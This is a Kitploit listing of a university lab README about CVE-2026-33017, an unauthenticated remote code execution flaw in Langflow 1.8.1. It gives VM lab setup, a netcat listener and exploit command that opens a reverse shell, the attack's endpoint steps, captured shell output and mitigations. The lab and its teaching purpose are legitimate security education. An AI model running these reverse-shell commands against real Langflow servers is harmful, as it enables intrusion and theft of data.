Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33017 — Educational lab demonstrating unauthenticated RCE in Langflow via CVE-2026-33017, with automated VM setup and a PoC exploit for reverse shell. | Kitploit
Tools/GitHubGitHub/jorrit-vm/cve-2026-33017
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingRemote Access ToolPayload DevelopmentLabs & Practice
GitHubjorrit-vm/cve-2026-33017

CVE-2026-33017

Educational lab demonstrating unauthenticated RCE in Langflow via CVE-2026-33017, with automated VM setup and a PoC exploit for reverse shell.

164 months agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-33017 — Langflow Unauthenticated RCE

HoGent CyberSecurity II — Network Pentesting & Exploitation (NPE)
Academic year 2025–2026

CVE CVSS Langflow


Overview

This repository contains a complete lab environment and exploitation demonstration of CVE-2026-33017, a critical unauthenticated Remote Code Execution (RCE) vulnerability in Langflow ≤ 1.8.1.

An attacker without any authentication can execute arbitrary Python code on the server via the /api/v1/build_public_tmp/{flow_id}/flow endpoint, because user input is passed directly to Python's exec() without sandboxing or validation.

⚠️ Disclaimer: This repository is intended solely for educational purposes in a controlled lab environment. Use only on systems for which you have explicit permission.


Architecture

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│                   HOST MACHINE                      │
│                                                     │
│  ┌──────────────────┐     ┌───────────────────────┐ │
│  │  Langflow-Victim │     │    Kali-Attacker      │ │
│  │  Ubuntu 22.04    │     │    Kali Linux         │ │
│  │  192.168.56.101  │◄────│    192.168.56.100     │ │
│  │  Langflow 1.8.1  │     │    PoC exploit tool   │ │
│  │  port 7860       │     │    + internet (NAT)   │ │
│  └──────────────────┘     └───────────────────────┘ │
│          Host-only network: 192.168.56.0/24         │
└─────────────────────────────────────────────────────┘

Repository structure

root@kitploit:~
CVE-2026-33017/
├── README.md # This file
├── LICENSE
├── .gitignore
├── docs/
│ └── stappenplan.md # Full deployment & attack guide
└── scripts/
├── setup_vms.sh # Phase 1: Create VirtualBox VMs (HOST)
├── setup_victim.sh # Phase 2: Install Langflow 1.8.1 (Ubuntu VM)
└── setup_attacker.sh # Phase 3: Install PoC tool (Kali VM)

Quick start

Requirements

  • VirtualBox 7.x with VBoxManage in PATH
  • Ubuntu_22.04-VB-64bit.vdi → rename to ubuntu-22.04.vdi
  • Kali_Linux-VB-64bit.vdi → rename to kali-linux.vdi
  • Both VDI files in the same directory as setup_vms.sh

Phase 1 — Create VMs (on the host)

root@kitploit:~
bash scripts/setup_vms.sh

Phase 2 — Configure victim VM (on Ubuntu VM)

root@kitploit:~
# Credentials: osboxes / osboxes.org
sudo bash scripts/setup_victim.sh

Phase 3 — Configure attacker VM (on Kali VM)

root@kitploit:~
# Credentials: osboxes / osboxes.org
sudo bash scripts/setup_attacker.sh

Execute the attack

Terminal 1 — Reverse shell listener:

root@kitploit:~
nc -lvnp 4444

Terminal 2 — Exploit:

root@kitploit:~
cd ~/CVE-2026-33017-Langflow-RCE-PoC
source venv/bin/activate
python3 cve-2026-33017.py 192.168.56.101 --shell \
  --lhost 192.168.56.100 --lport 4444

The PoC is installed automatically by setup_attacker.sh.
PoC used: omer-efe-curkus/CVE-2026-33017-Langflow-RCE-PoC


How the exploit works

StepEndpointDescription
1GET /api/v1/auto_loginRetrieves superuser JWT token (AUTO_LOGIN=true)
2POST /api/v1/flows/Creates new public flow via API
3POST /api/v1/build_public_tmp/{id}/flowInjects CustomComponent with malicious Python code
4exec() in validate.py:397Code is executed without sandboxing — RCE

Proof of execution

[] Fetching access token... [+] Public Flow ID created: 11571add-6416-4226-b8e6-844202cce6ff [] Sending reverse shell to connect back to 192.168.56.100:4444

Listener (Terminal 1): connect to [192.168.56.100] from (UNKNOWN) [192.168.56.101] 36160 $ whoami user $ hostname e37190a2f147 $ find /app -name "*.db" /app/.venv/lib/python3.12/site-packages/langflow/langflow.db


Mitigation

  • Update to Langflow ≥ 1.9.0 — removes the vulnerable data parameter
  • Disable LANGFLOW_AUTO_LOGIN in production
  • Restrict network access to port 7860 via firewall
  • Place Langflow behind an authenticating reverse proxy

References

  • NVD — CVE-2026-33017
  • GitHub Advisory GHSA-vwmf-pq79-vjvx
  • Sysdig — Exploited in 20 hours
  • SonicWall — Technical Analysis
  • PoC by omer-efe-curkus

HoGent — Applied Computer Science — CyberSecurity II — 2025–2026

Download Tool